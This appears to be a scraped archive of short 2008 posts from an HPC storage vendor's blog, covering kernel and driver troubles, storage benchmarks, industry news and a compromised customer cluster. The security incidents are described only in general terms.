https://blog.scalability.org/2008/10/26274-nvidia-i-think-it-is-working/ Tue, 28 Oct 2008 04:56:30 +0000 https://blog.scalability.org/2008/10/26274-nvidia-i-think-it-is-working/ Only took this … sh ~root/NVIDIA-Linux-x86_64-177.80-pkg2.run --kernel-output-path=/lib/modules/2.6.27.4/build/ -k 2.6.27.4 --no-runlevel-check --kernel-module-only --no-x-check and some tweaking of the installed kernel source (strange, it wasn’t ‘make prepare’ ed already) [update] nope … but I understand the cause. The build machine has a different compiler than the target machine. As a result, the compiler on the target machine generates subtly different kernel modules than that of the build machine. And they disagree on the version of struct_module. https://blog.scalability.org/2008/10/qdr-switches-are-here-qdr-switches-are-here/ Mon, 27 Oct 2008 13:16:27 +0000 https://blog.scalability.org/2008/10/qdr-switches-are-here-qdr-switches-are-here/ (channeling Steve Martin in “The Jerk” when talking about the new phonebooks …) 40 Gb ports. $400/port or so. See InsideHPC.com for more. For any Voltaire folks reading this, feel free to fire over a loaner QDR switch and pair of cards. We would love to see if the pair of JackRabbits we are finishing up for a customer will in fact be able to saturate these links. The issue is usually that the buffer copies between the disk and network drivers is slow, so we see significant performance loss with SDR. https://blog.scalability.org/2008/10/the-impact-of-the-financial-state-upon-hpc/ Sun, 26 Oct 2008 16:28:19 +0000 https://blog.scalability.org/2008/10/the-impact-of-the-financial-state-upon-hpc/ HPC in general has demonstrated time and again that it provides value in up and down markets. The real value of being able to get (even approximate) answers to “what-if” questions has not been accurately measured or accounted for. Moreover, much engineering and R&D; work depends critically upon simulation. I expect companies to be far more frugal with new acquisitions, and want to focus upon getting more value and work out of their existing systems. https://blog.scalability.org/2008/10/because-you-know-its-like-so-totally-a-good-idea/ Sat, 25 Oct 2008 18:57:59 +0000 https://blog.scalability.org/2008/10/because-you-know-its-like-so-totally-a-good-idea/ not. Posted this to the Rocks list as a result of the question asked: and this is what I got back Yeah. Good move folks. Real good. Noticed that it had been on for a few more posts as well. Ok. What I take home from this is the the administrators in that community want me to go away and stop writing nice articles about Rocks, and stop helping Rocks users to punish/censor me Yeah. https://blog.scalability.org/2008/10/personal-supercomputing-as-long-as-its-under-10k-usd/ Sat, 25 Oct 2008 05:30:46 +0000 https://blog.scalability.org/2008/10/personal-supercomputing-as-long-as-its-under-10k-usd/ The John’s (West and Leidel) at InsideHPC.com did a nice study on personal supercomputing at the site. It is worth a read. In short, they found people would find such boxen useful. But they don’t want to spend more than $10k for them. This is interesting at many levels. Matches up very well with informal/anecdotal data we have from conversations with users. We noticed that users wanted personal supers many years ago. https://blog.scalability.org/2008/10/moderated-by-the-insert-cluster-distribution-list-admins/ Thu, 23 Oct 2008 23:14:49 +0000 https://blog.scalability.org/2008/10/moderated-by-the-insert-cluster-distribution-list-admins/ Yes folks, thats right. Everything I now write for the [insert cluster distribution list] will be moderated, or more likely, simply discarded. I guess people don’t quite know how to treat their friends and supporters. I need to seriously rethink writing articles like this in the future. Go figure. https://blog.scalability.org/2008/10/hardening-security-on-your-rocks-systems/ Thu, 23 Oct 2008 22:59:13 +0000 https://blog.scalability.org/2008/10/hardening-security-on-your-rocks-systems/ We now understand the attack vector. Turned out to be simple, and some of the things we have done have now closed that door. It was a pretty simple door, but still worth noting. BTW: some don’t like early disclosures of exploits. I have heard from ~6 people (off the Rocks list) since posting that they have seen similar attacks attempted. The entry point was via a shared user account. Once this account was compromised, our new friend from Romania started working. https://blog.scalability.org/2008/10/rocks-systems-under-attack/ Thu, 23 Oct 2008 17:30:44 +0000 https://blog.scalability.org/2008/10/rocks-systems-under-attack/ A customer has a Rocks cluster, and it was compromised yet again. We have tried hardening the system, but it appears that there is another vector, associated with key loggers and windows machines. Sadly this customers problems are largely self inflicted, as they can’t seem to operate without running as root user. I could say more, but I am somewhat pissed off that some of our critical advice was ignored, and then we are the target of some anger for the fact that they ignored the advice and were hacked. https://blog.scalability.org/2008/10/status-update/ Thu, 23 Oct 2008 14:14:10 +0000 https://blog.scalability.org/2008/10/status-update/ One of our ISPs does indeed have an outage today. SLA? We don’t need no steen-keen SLA … We have redundancy. https://blog.scalability.org/2008/10/perfect-storms/ Thu, 23 Oct 2008 14:10:37 +0000 https://blog.scalability.org/2008/10/perfect-storms/ The term Perfect Storm represents a coincidence (temporal or spatial near simultaneity) of events that cause a much larger effect than any one of the events normally would on its own. Perfect storms are in some ways, a superposition of events. Every now and then you get to see one in action. Like now. I won’t describe current economic times, or what I think are the causative effects. Just what I observe. https://blog.scalability.org/2008/10/and-something-took-down-one-of-our-links/ Thu, 23 Oct 2008 12:26:18 +0000 https://blog.scalability.org/2008/10/and-something-took-down-one-of-our-links/ (or how to fail without really trying) We have a redundant pair of links into our site. Long history of seeing outages take down even (supposedly) SLA covered systems. This is why when I hear of SLAs for these systems, I snort in finely honed derision. They don’t work in these scenarios, and arguing about it won’t make them work. Redundancy is your only option. Anyone arguing otherwise hasn’t had an SLA and a company refusing to honor it to deal with. https://blog.scalability.org/2008/10/why-i-am-blocking-hotmailcom/ Thu, 23 Oct 2008 03:34:02 +0000 https://blog.scalability.org/2008/10/why-i-am-blocking-hotmailcom/ No protest against Microsoft which owns that service. Just the unfortunate fact that hotmail is apparently the conduit now for a DoS attack against us. No, its not working. But I am assuming that someone somewhere has managed to corrupt the inbound mail access at hotmail. Have discarded about 12000 mails in the last 12 hours. May start blocking hotmail at the firewall, not even let it traverse our network. Sad. https://blog.scalability.org/2008/10/to-be-a-2x4-or-not-to-be-a-2x4-that-is-the-question/ Tue, 21 Oct 2008 17:30:39 +0000 https://blog.scalability.org/2008/10/to-be-a-2x4-or-not-to-be-a-2x4-that-is-the-question/ what if you discovered that your efforts in trying to win business were in fact being used to lever some other group down, and the groups speaking to you were simply there to use you as a lever. Or a 2x4 (two by four: basically a large block of wood used for support in framing, or used for, in a proverbial sense, beating people and companies up ). Since you are not going to win, no matter what you do, should you even expend the effort? https://blog.scalability.org/2008/10/fresh-new-26272-kernel-now-mix-in-the-nvidia-driver-and-doh/ Sun, 19 Oct 2008 17:29:17 +0000 https://blog.scalability.org/2008/10/fresh-new-26272-kernel-now-mix-in-the-nvidia-driver-and-doh/ Just built it this morning, as I wanted to test out a few things tomorrow. So I loaded it on the build machine. So far so good. Everything works. A bit faster too. Hmmm…. maybe it forgot to scale the processor speed down during idle? Will look later. Ok, this machine has an nVidia Quadro FX/1100. Nice graphics card. Pull down the latest nVidia drivers, build them, and … nothing. https://blog.scalability.org/2008/10/iamjoe/ Sat, 18 Oct 2008 21:23:20 +0000 https://blog.scalability.org/2008/10/iamjoe/ I eschew talking politics on this blog. I simply don’t think it is right to do so here. This is a comment on a current event, and simply skip it if you have no interest in such things. I watched in fascination and abject horror as our media descended upon a plumber one state and maybe 100 miles south of me. Full story and background at a humorous site I occasionally read. https://blog.scalability.org/2008/10/indeed-a-glutton-for-punishment/ Sat, 18 Oct 2008 17:57:21 +0000 https://blog.scalability.org/2008/10/indeed-a-glutton-for-punishment/ OFED 1.4-beta1 on IA64 (actually this is Ubuntu 8.04 server on IA64) in the office. I need a machine to act as a source/sink for IB for some testing. root@itanic:~# uname -a Linux itanic 2.6.24-19-mckinley #1 SMP Thu Aug 21 01:16:49 UTC 2008 ia64 GNU/Linux root@itanic:~# ifconfig ib1 ib1 Link encap:UNSPEC HWaddr 80-00-04-05-FE-80-00-00-00-00-00-00-00-00-00-00 inet addr:192.168.11.239 Bcast:192.168.11.255 Mask:255.255.255.0 inet6 addr: fe80::208:f104:396:3d36/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:2044 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:12 errors:0 dropped:10 overruns:0 carrier:0 collisions:0 txqueuelen:128 RX bytes:728 (728. https://blog.scalability.org/2008/10/cargo-cult-hpc/ Sat, 18 Oct 2008 17:19:18 +0000 https://blog.scalability.org/2008/10/cargo-cult-hpc/ This is a short thread of thought, which was triggered by a casual browse through Wikipedia on another topic (for an article I swear I am writing, right now, as I er … uh … write this). Way back in graduate school, we all had read Feynman’s book. Call it required reading at the academy. Good things came out of this, as we (a few friends and I) reverse engineered his discussions of differentiation under the integral sign and suddenly got a real powerful tool available to us (which seems to have pissed off a few profs in classes with homework, but thats a story for another beer). https://blog.scalability.org/2008/10/going-private/ Sat, 18 Oct 2008 15:57:54 +0000 https://blog.scalability.org/2008/10/going-private/ Short note on a story John linked to on InsideHPC.com Should HPC vendors go private is the question. Of the three vendors listed, two of them are HPC vendors, the third is a general vendor with a few HPC sales. Ok, who are the HPC vendors? This is a good question. I won’t give an exhaustive list, but the usual suspects are on that, where they derive all or most of their revenue from HPC. https://blog.scalability.org/2008/10/we-get-blasted-from-distro-partisans-when-we-say-this/ Sat, 18 Oct 2008 15:02:05 +0000 https://blog.scalability.org/2008/10/we-get-blasted-from-distro-partisans-when-we-say-this/ … so it is better to point out that the distro people are saying it themselves: This is from lwn.net. Not me. Don’t shoot the messenger. The link to the thread in question contains far more explosive (for distro partisans) content. Without cherry picking this author, he does a very good and succinct job of describing what Fedora is and what it is not. To wit: Introduction of 4k stacks. Blew up lots of drivers, file systems, and other assorted things. https://blog.scalability.org/2008/10/twas-the-month-before-sc08/ Fri, 17 Oct 2008 14:05:44 +0000 https://blog.scalability.org/2008/10/twas-the-month-before-sc08/ … and all throughout thehigh performance computing solutions house, all the creatures were stirring, they were using their own mouse. The JackRabbits were purring, pushing GB/s of data around, and the ΔV’s being booted, being worked, tested to be sound. The workers were filling orders, building units, making sure none were dead, while visions of high performance file systems and data motion danced in their heads. (with apologies to Clement Clarke Moore or Henry Livingston) https://blog.scalability.org/2008/10/cudos-to-cray/ Thu, 16 Oct 2008 22:40:42 +0000 https://blog.scalability.org/2008/10/cudos-to-cray/ Buying back debt is a good thing. Company must be doing well. They had some rocky years for a while, but their costs are now under control, their market focus sharp, and they make their own stuff. John at InsideHPC has the scoop. They are obviously exploring new market directions (their CX unit announced last month), and this is a good thing. Hopefully they will get some bumper stickers out soon with “my other computer is a Cray” for SC08. https://blog.scalability.org/2008/10/this-was-interesting/ Thu, 16 Oct 2008 22:34:06 +0000 https://blog.scalability.org/2008/10/this-was-interesting/ We were asked for an “emergency” quote for a system for a grant. One of the components fit nicely into the ΔV paradigm, basically as a disk to disk backup of 2x the main storage size for this cluster. The 24TB ΔV came in under $15k. Made me happy. Could have done the 36 TB ΔV, and I did consider it. It would have been overkill for this task. And it would have cost much less than $20k. https://blog.scalability.org/2008/10/pinos/ Thu, 16 Oct 2008 01:38:20 +0000 https://blog.scalability.org/2008/10/pinos/ It’s been a year, so I feel I can talk a little bit about this. I won’t name names or provide details. More than a year ago, we had a PINO. I didn’t detect it early enough, but have learned since what the signs are. A PINO is a “Partner In Name Only”. A PINO is a “partner” (notice the scare quotes). This “partner” wanted to work with us to help grow their cluster business. https://blog.scalability.org/2008/10/nominations-for-readers-choice-best-of-hpc-awards/ Wed, 15 Oct 2008 15:46:40 +0000 https://blog.scalability.org/2008/10/nominations-for-readers-choice-best-of-hpc-awards/ Linky here. I am not saying vote early and vote often. Just vote. This may be the most important election in our lifetimes … er … Anyone happy with theirJackRabbits, by all means, I encourage you to show your support. https://blog.scalability.org/2008/10/evolving-accelerator-market/ Tue, 14 Oct 2008 23:12:51 +0000 https://blog.scalability.org/2008/10/evolving-accelerator-market/ I haven’t posted on accelerators in a while, and this will be short. I have posited that GPUs would basically win out in the accelerator wars, with possibly a distant second to something like Cell if enough of them could be made inexpensively available. My question now is, given the intent of Intel in this market, will Larrabee be able to get traction in the graphics world? And therefore, effectively displace nVidia (and to a lesser extent, AMD) as the accelerator king? https://blog.scalability.org/2008/10/ouch/ Tue, 14 Oct 2008 22:35:01 +0000 https://blog.scalability.org/2008/10/ouch/ Saw this on the beowulf list today regarding MD3000’s from Dell. I hope this is not true. Jeff, can you chime in and tell me if this is real or not? https://blog.scalability.org/2008/10/designed-to-fail/ Tue, 14 Oct 2008 16:57:58 +0000 https://blog.scalability.org/2008/10/designed-to-fail/ So I wrote a post in anger, and deleted it. My apologies. I have a saying I like to tell people: things that are designed to fail, often do. I run into this day in and day out. Bad cluster designs, bad storage designs, bad network designs. Poor choices in all of the above. I still can’t get over the two 128 port switches coupled together with a single gigabit uplink. https://blog.scalability.org/2008/10/pictures-from-ohio-linux-fest/ Mon, 13 Oct 2008 17:34:42 +0000 https://blog.scalability.org/2008/10/pictures-from-ohio-linux-fest/ You can see us (and a ΔV) in all its glory … here … Me talking to someone: [ ](http://picasaweb.google.com/JohnBoker/Linuxfest2008#5256640887091893346) I am the guy without so much hair (on his head), and black JackRabbit shirt, and the water in his right hand. Here is the “booth” [ ](http://picasaweb.google.com/JohnBoker/Linuxfest2008#5256640896772943522) Here is a picture of Doug looking as tired as we both felt … [ ](http://picasaweb.google.com/JohnBoker/Linuxfest2008#5256640900034994482) But wait … there’s more! we had a very nice … I can’t say enough nice things about nVidia cards, nice nVidia card in our Cuda box, which we used to … er … run a desktop That was streaming something like 7 movies from ΔV while we were rotating a number of OpenInventor and WRL (VRML) models using the OpenInventor ivview. https://blog.scalability.org/2008/10/reaction-to-%ce%b4v/ Sun, 12 Oct 2008 12:06:02 +0000 https://blog.scalability.org/2008/10/reaction-to-%ce%b4v/ We showed off a unit at the Ohio Linux Fest this past weekend. We had it streaming anywhere from 3-10 videos while doing lots of other things. Needless to say, the interest there was striking. We gathered a great deal of good feedback, as well as quite a few (hopeful) leads. I had set up apache2 to stream movies from the Internet Archive that I had pulled onto the machine for other tests. https://blog.scalability.org/2008/10/a-peek-within-the-v-kimono/ Tue, 07 Oct 2008 21:23:51 +0000 https://blog.scalability.org/2008/10/a-peek-within-the-v-kimono/ What you see below is from a $5400USD list price machine on initial run through, pre-tuning. Please remember that as you look at these numbers. This is less than $1USD per usable GB. Will be formally introduced/announced soon. You can see one live at ohiolinuxfest this weekend (this exact machine as it turns out). This is a RAID6 unit. We could go RAID5 and increase performance, though running in a configuration we do not recommend. https://blog.scalability.org/2008/10/wrestling-with-insects/ Tue, 07 Oct 2008 03:49:27 +0000 https://blog.scalability.org/2008/10/wrestling-with-insects/ … DragonFly in this case. Turns out that I had a wrong database setting that nuked one of our major functions. It would run the code. It just wouldn’t return anything. Turns out this was due to a missing column (do’h!). How a column goes missing … I dunno. Ok, we moved it from an old machine to a newer dedidcated machine. Maybe a column fell out of the bits when we trucked the data over. https://blog.scalability.org/2008/10/cost-of-purchase-for-most-hpc-users/ Mon, 06 Oct 2008 17:14:16 +0000 https://blog.scalability.org/2008/10/cost-of-purchase-for-most-hpc-users/ … is the biggest non-sunk cost aspect for an HPC system, outside any software licensing costs, which have a habit of often dwarfing the system cost. At InsideHPC.com, John West does an analysis of the RedHat HPC announcement. In a word, yes. It is very much an issue for the broader market. Remember, HPC at the top, is shrinking in relative terms as a fraction of the HPC market. I haven’t looked at the numbers recently, but it wouldn’t surprise me to see an absolute shrinkage as well. https://blog.scalability.org/2008/10/no-i-did-not-have-this-in-mind-when-we-named-the-product/ Mon, 06 Oct 2008 00:33:39 +0000 https://blog.scalability.org/2008/10/no-i-did-not-have-this-in-mind-when-we-named-the-product/ JackRabbit that is … And now for something completely different. A bunny with a mean streak, a mile wide … https://blog.scalability.org/2008/10/public-mercurial-projects-up/ Mon, 06 Oct 2008 00:07:40 +0000 https://blog.scalability.org/2008/10/public-mercurial-projects-up/ Took me way too long to get these up. Our open source tools will be hosted here. Right now, simple tools like ifinfo, and bbs are up. Our public SGEtools will show up soon. Older releases of our finishing scripts will find the way there as well. We are deciding upon which other tools we will release this way. Please stay tuned. https://blog.scalability.org/2008/10/on-broken-os-installers-well-on-the-software-that-the-os-installers-depend-upon/ Sun, 05 Oct 2008 00:22:51 +0000 https://blog.scalability.org/2008/10/on-broken-os-installers-well-on-the-software-that-the-os-installers-depend-upon/ Working out issues with the installation of an OS onto a CF device. Odd situation. OS installs all the way. Upon reboot, whammo, not enough grub to do more than print a message saying something to the effect of “you are hosed”. This is OpenSuSE 10.3 for a JackRabbit flying out the door tuesday morning. Earlier if possible. Turns out that this wasn’t confined to SuSE. A number of the other distros did the same thing. https://blog.scalability.org/2008/10/delta-v-is-coming/ Thu, 02 Oct 2008 04:15:57 +0000 https://blog.scalability.org/2008/10/delta-v-is-coming/ Will be showing a unit at OhioLinuxFest in Columbus late next week. Think … less expensive than JackRabbit, and not as fast, though still pretty fast. This unit can scale down in performance and price, as well as up, to 36 TB per unit. Management via a web and cli interface. Price points are completely insane. Some very neat features … more soon. I promise. https://blog.scalability.org/2008/10/and-it-seems-no-fuzzy-orange-dice-at-sc-this-year/ Thu, 02 Oct 2008 04:08:45 +0000 https://blog.scalability.org/2008/10/and-it-seems-no-fuzzy-orange-dice-at-sc-this-year/ Yup, you got it. YottaYotta is no more. Storage is a tough game. https://blog.scalability.org/2008/10/and-hp-gobbles-up-lefthand-networks/ Thu, 02 Oct 2008 00:30:43 +0000 https://blog.scalability.org/2008/10/and-hp-gobbles-up-lefthand-networks/ From WSJ: Uh huh. Competition for Equalogic. https://blog.scalability.org/2008/09/cheapskates-nah-really/ Tue, 30 Sep 2008 14:26:38 +0000 https://blog.scalability.org/2008/09/cheapskates-nah-really/ John West at InsideHPC.com points to an article on fault tolerant servers and the push to get them into HPC systems. One of the key soundbites is something John feeds up Well, that is one way of looking at it … It is arguably more correct to point out that cycles are cycles, and clusters offered an opportunity to massively expand lower cost cycles. Calling Supercomputing folks “cheapskates” isn’t likely to win you friends there. https://blog.scalability.org/2008/09/and-the-market-reacts/ Mon, 29 Sep 2008 18:50:46 +0000 https://blog.scalability.org/2008/09/and-the-market-reacts/ 5.56% of value wiped off the books. Right now we are at 10,523.07 on NYSE. 6.9% drop on NASDAQ. S&P; 500 is down 7.05% All this just today. Folks, this is about to get bumpy. 5% of market value just evaporated. Thats $50B of each $1T of market cap. A billion here, a billion there, and pretty soon we are talking about real money. Tech got whalloped. Our partners at Wipro had a 10% decline. https://blog.scalability.org/2008/09/wondering-aloud/ Sun, 28 Sep 2008 13:24:19 +0000 https://blog.scalability.org/2008/09/wondering-aloud/ … if the fluctuation-dissipation theorem holds for what we are seeing in the economic state. Basically this theorem describes the power spectrum of the Fourier transform of a particular state variable in an system at or near equilibrium subject to external driving forces. That is, it helps you figure out where most of the driving force behind observed changes in that state variable are, while measuring the dissipation or irretrievable loss of energy in the system. https://blog.scalability.org/2008/09/thoughts-on-the-impact-of-the-credit-market-meltdown-on-hpc/ Sat, 27 Sep 2008 22:47:41 +0000 https://blog.scalability.org/2008/09/thoughts-on-the-impact-of-the-credit-market-meltdown-on-hpc/ It remains to be seen if this is happening, but … Along comes company X, who wants to buy a large HPC system. They call up company Y, and asks them to build a system design and quote for them. Off Y goes, works through everything, gets updated pricing. They notice that all their T&C; from their suppliers are suddenly Net-cash terms. Basically buy it, but pay with a credit card or other immediate instrument. https://blog.scalability.org/2008/09/sgi-releases-2nd-quarter-results/ Sat, 27 Sep 2008 15:27:17 +0000 https://blog.scalability.org/2008/09/sgi-releases-2nd-quarter-results/ You can see them here. $93,8M revenue, $29.5M gross profit. COGS of $64.4M. OPEX of $58.1M. Operating profit (loss) is $29.5M - $58.1M or -$28.6M (or for the accounting types with us ($28.6M) ). When they are done with the rest of accounting, their net income is ($35.1M) or -$35.1M. This is a net loss, but it is lower than previous net losses by $4.6M. Their revenue increased $14.8M or so. https://blog.scalability.org/2008/09/csd-in-restructuring-to-reduce-costs/ Sat, 27 Sep 2008 14:45:11 +0000 https://blog.scalability.org/2008/09/csd-in-restructuring-to-reduce-costs/ I wasn’t aware of it until Doug pointed it out in our comment section. Short version, Clearspeed is in significant cost reduction mode right now. Reducing R&D; to fulfill existing orders, reducing cost structures, etc. My follow-on comment addressed the interim results. You can see their share price versus time here on Yahoo. The decline looks like a straight line on a logarithmic graph. A long tail. Not quite the same as what the VCs like. https://blog.scalability.org/2008/09/mention-of-jackrabbit-in-use-at-wirth/ Wed, 24 Sep 2008 16:05:44 +0000 https://blog.scalability.org/2008/09/mention-of-jackrabbit-in-use-at-wirth/ See this article on HPCwire (and another on SupercomputingOnline). Last month was one of our best JackRabbit months ever. In this market, with IT management under pressure to deliver better faster high performance storage service for less money, the case for JackRabbit is compelling. More soon though. I promise! https://blog.scalability.org/2008/09/when-youre-busy-you-really-are-busy/ Wed, 24 Sep 2008 15:53:00 +0000 https://blog.scalability.org/2008/09/when-youre-busy-you-really-are-busy/ Lots of new things, so little time. My apologies. Will update soon. I promise. https://blog.scalability.org/2008/09/unwelcome-surprises/ Thu, 18 Sep 2008 03:31:23 +0000 https://blog.scalability.org/2008/09/unwelcome-surprises/ There I am, working on an RFP response. Figuring our partner needs this in word format, the laptop is booted into windows xp. Word 2003 is up. Several hours worth of work. Saved often. Oh, you already know where this is going? Yeah. Its going there. Crash goes word. Starts complaining it can’t read the disk. Never mind that it appears to be able to read the disk just fine in another window. https://blog.scalability.org/2008/09/a-nice-loading-test/ Sun, 14 Sep 2008 23:23:45 +0000 https://blog.scalability.org/2008/09/a-nice-loading-test/ A customer presented a nice test to us. We thought we had a good loading program going, running the units at heavy load for extended lengths of time. And these are good loading programs. But they weren’t as intensive as this customers. They run 8 bonnie++ jobs simultaneously on the system. So we ran it. And promptly crashed the unit. Believe it or not, that was good. In the process we exposed a corner case where the later rev driver and updated firmware had a crash relative to the previous driver release with the same firmware. https://blog.scalability.org/2008/09/linux-kernel-26265-is-buggy-2627-rc6-works/ Sun, 14 Sep 2008 16:29:46 +0000 https://blog.scalability.org/2008/09/linux-kernel-26265-is-buggy-2627-rc6-works/ Alrighty. Been struggling to get an operational 2.6.26.5 kernel working for a customer. This is supposed to be the next generation of our supported kernels, replacing the now aging 2.6.23.14 kernel (you think ours is old? look at RHELs). It works fine on a Ubuntu system. All the things we needed built it, do in fact, work. The problem was the immediate kernel panic on a RHEL5.2 system. 11 seconds in, it couldn’t find /dev/root (the root directory). https://blog.scalability.org/2008/09/finally-i-can-point-to-a-comparison-someone-else-ran/ Sun, 14 Sep 2008 15:58:45 +0000 https://blog.scalability.org/2008/09/finally-i-can-point-to-a-comparison-someone-else-ran/ Have a look at this: root@cisd-ruapehu # time dd if=/dev/zero of=80G bs=8192k count=10000 10000+0 records in 10000+0 records out real 2m41.484s user 0m0.064s sys 2m26.890s Quick calculation. This is a 44 disk raidz2 striped in the “optimal” manner according to the guide quoted. This is roughly 80GB in 161 seconds. Or, 0.497 GB/s. Under 500 GB/s. Yup. They show off their blazing 560 MB/s performance on smaller (mostly cached 16GB system ram 20GB file) files. https://blog.scalability.org/2008/09/sgi-late-with-financial-filings/ Fri, 12 Sep 2008 23:42:14 +0000 https://blog.scalability.org/2008/09/sgi-late-with-financial-filings/ Mercury news blog reports that SGI has told the SEC that it will be late in filing its financials for the quarter. Specifically Read the full article, don’t jump to conclusions from this snippet. This said, I have as of yet to see any company say “hey we are gonna be late” and “wow, we just found this bucket of money in the corner!”. It is usually more along the lines of “oh, we have to pay that bill too? https://blog.scalability.org/2008/09/the-impact-of-self-righteous-decisions-upon-the-real-world-a-simple-case-study/ Thu, 11 Sep 2008 20:44:37 +0000 https://blog.scalability.org/2008/09/the-impact-of-self-righteous-decisions-upon-the-real-world-a-simple-case-study/ Firefox 3 makes great hay over how much happier they are for their security bits. Especially their seemingly deeply thought out position on not allowing self signed certificates to be used easily on the web. Cudos to them for their stance. One … well … not so small … problem. It breaks things. No, I am not arguing whether or not self-signed is good or bad. It breaks things you can’t possibly fix. https://blog.scalability.org/2008/09/the-time-implications-of-storage-size/ Wed, 10 Sep 2008 01:14:50 +0000 https://blog.scalability.org/2008/09/the-time-implications-of-storage-size/ I’ve been writing and talking about data motion as a pain point for a while. To drive this home, have a look at this site. This provides a snapshot into how much bandwidth a technology provides, and what the implications are for (best case) data motion over time. Since data motion isn’t getting any easier, a few thoughts emerge from this. First, as we gather ever more data, this data is going to reside at static locations … the cost of moving it is large over the network. https://blog.scalability.org/2008/09/updated-bonnie-for-jackrabbit-m/ Mon, 08 Sep 2008 04:13:05 +0000 https://blog.scalability.org/2008/09/updated-bonnie-for-jackrabbit-m/ [root@jackrabbitm sbin]# bonnie++ -u root -d /big -f Using uid:0, gid:0. Writing intelligently...done Rewriting...done Reading intelligently...done start 'em...done...done...done... Create files in sequential order...done. Stat files in sequential order...done. Delete files in sequential order...done. Create files in random order...done. Stat files in random order...done. Delete files in random order...done. Version 1.03 ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP jackrabbitm 129112M 707695 51 153242 17 1143371 73 452. https://blog.scalability.org/2008/09/observations-on-kernel-stability/ Sat, 06 Sep 2008 15:50:58 +0000 https://blog.scalability.org/2008/09/observations-on-kernel-stability/ There is just no nice way to say this. We have a real (serious) concern over the stability of the baseline Redhat/SuSE kernels on newer hardware. Not just our JackRabbit systems (and our forthcoming ΔV systems), but clusters of newer gear, newer servers, etc. We install baseline systems, using nothing but the baseline components, perform the recommended upgrades. Place these systems under moderate load, and whamo … kernel panic. Replace their kernel with our 2. https://blog.scalability.org/2008/09/evolution-of-sales-models-in-a-changing-economy/ Sat, 06 Sep 2008 13:26:15 +0000 https://blog.scalability.org/2008/09/evolution-of-sales-models-in-a-changing-economy/ Short note. For many years, large computing companies have fielded large sales forces, and large reseller forces to provide more sales firepower to their revenue generation efforts. These require personal interaction to buy something. Sun has recently decided to go almost all reseller. Feedback from some of our mutual customers indicates that some customers don’t like this. The flip side is that large sales forces require large expenditures of capital … people cost money to hire. https://blog.scalability.org/2008/09/why-do-i-bang-my-head-against-this-wall/ Thu, 04 Sep 2008 16:40:08 +0000 https://blog.scalability.org/2008/09/why-do-i-bang-my-head-against-this-wall/ … because it fees so good when I stop. Or so goes the old joke. A long while ago, I mentioned we have a customer who self-inflicts pain by spending too much time using root for day to day work. We advise against this. No good can possibly come of this, only bad. Like the last time when a key-logger grabbed the root password as some windows user was typing it in. https://blog.scalability.org/2008/09/blue-waters-are-a-movin/ Wed, 03 Sep 2008 22:39:04 +0000 https://blog.scalability.org/2008/09/blue-waters-are-a-movin/ NSF is funding a 2x10^5 processor monster machine at NCSA. At $208M, each dollar will by you 4.8 MFLOP (4.8x10^6 FLOP). Hmmm…. Assuming a quad core CPU would be able to provide (in theory) 32 GFLOP (4 cores x 8 GFLOP/core), you would need 31,250 units to provide this … (125000 cores). There are some interesting things about this machine. Very interesting … not just the price tag or the estimated sustainable performance https://blog.scalability.org/2008/09/sigh/ Wed, 03 Sep 2008 19:53:55 +0000 https://blog.scalability.org/2008/09/sigh/ New unit being built for another customer [JackRabbit orders are multiplying like bunnies] [root@jackrabbitm ~]# dd if=/big/big.file of=/dev/null ... 10000+0 records in 10000+0 records out 83886080000 bytes (84 GB) copied, 51.8149 seconds, 1.6 GB/s [root@jackrabbitm ~]# cat /proc/meminfo | grep MemTotal MemTotal: 33011556 kB Yes. We did just stream a file more than 2x the size of ram (32 GB) from disk. Yes, it sustained 1.62 GB/s. Yes. We did this with 24 disks. https://blog.scalability.org/2008/09/interesting-observations-on-performance-focus/ Tue, 02 Sep 2008 03:27:57 +0000 https://blog.scalability.org/2008/09/interesting-observations-on-performance-focus/ Again, on the excellent InsideHPC.com blog, John West points to a blog at Intel with an interesting observation: I would add to this that we have research computer users who prefer the expressiveness of languages such as Matlab, often ignoring the huge performance penalty for using such languages. The value to them is the ease of writing/maintaining their “code”. Tools such as ISC’s StarP attempt to build compiled code from the Matlab code. https://blog.scalability.org/2008/09/humongous-computing-systems/ Tue, 02 Sep 2008 01:43:13 +0000 https://blog.scalability.org/2008/09/humongous-computing-systems/ Again, John West reads more than I, and notes at InsideHPC.com blog, an article from Doug Eadline on Linux Magazine, all about really big clusters. These are subjects I have explored a number of times. Doug points to nature and how nature scales and isolates failure. This also reminds me of the multiple types of networks that can be formed for computation/processing. One that I deal with every now and then are the spammers, and their bot-nets. https://blog.scalability.org/2008/09/insidehpc-on-sgi-results-and-thoughts-on-industry-trends/ Tue, 02 Sep 2008 01:03:54 +0000 https://blog.scalability.org/2008/09/insidehpc-on-sgi-results-and-thoughts-on-industry-trends/ John West at the excellent InsideHPC.com blog points out in a short note that A number of obvious points about this … the economy has been under pressure. Customers have been buying less. SGI reports that revenue has increased to $93.9M from $79.1M in the third quarter. How much of this is normal seasonal variance (government purchase cycles) versus an actual increase in bookings (e.g. new deals that haven’t been worked on for a while). https://blog.scalability.org/2008/09/echos/ Mon, 01 Sep 2008 22:52:40 +0000 https://blog.scalability.org/2008/09/echos/ I don’t mind tearing into bad implementations of an idea or product. If the thing isn’t good, criticism can help focus where it needs to improve. The trouble with this is when the criticism arrives too late, or is rejected out of hand by those who would benefit most. No, not being self righteous. I am just as critical of our stuff, our products and mis-steps as I am of others. https://blog.scalability.org/2008/08/sadness-but-understandable/ Thu, 28 Aug 2008 22:28:48 +0000 https://blog.scalability.org/2008/08/sadness-but-understandable/ [optical communications/.](http://slashdot.org) reports ona wired story which covers the demise of fundamental physics research at Bell labs. For those who aren’t aware, your ability to read this on your electronic device is directly as a result of fundamental physics research at Bell Labs. The vast majority of computers these days are based upon transistors. Which was invented at Bell Labs. Yeah, you might say “so what”. Curiousity driven research can sometimes pay back in a big way. https://blog.scalability.org/2008/08/banging-my-head-against-grub-grrrr/ Tue, 26 Aug 2008 02:29:29 +0000 https://blog.scalability.org/2008/08/banging-my-head-against-grub-grrrr/ So we had loaded two pretty darn nearly identical JackRabbitsландшафт for delivery to a customer tomorrow. As part of the load, we want serial consoles available in case we need emergency access. Plug it in and solve problems. Great. Remember, these are virtually identical machines. Same MB, same CPU, same rev (one has more cores/twice the memory of the other used for disk to disk backups). Same bios, same bios settings. 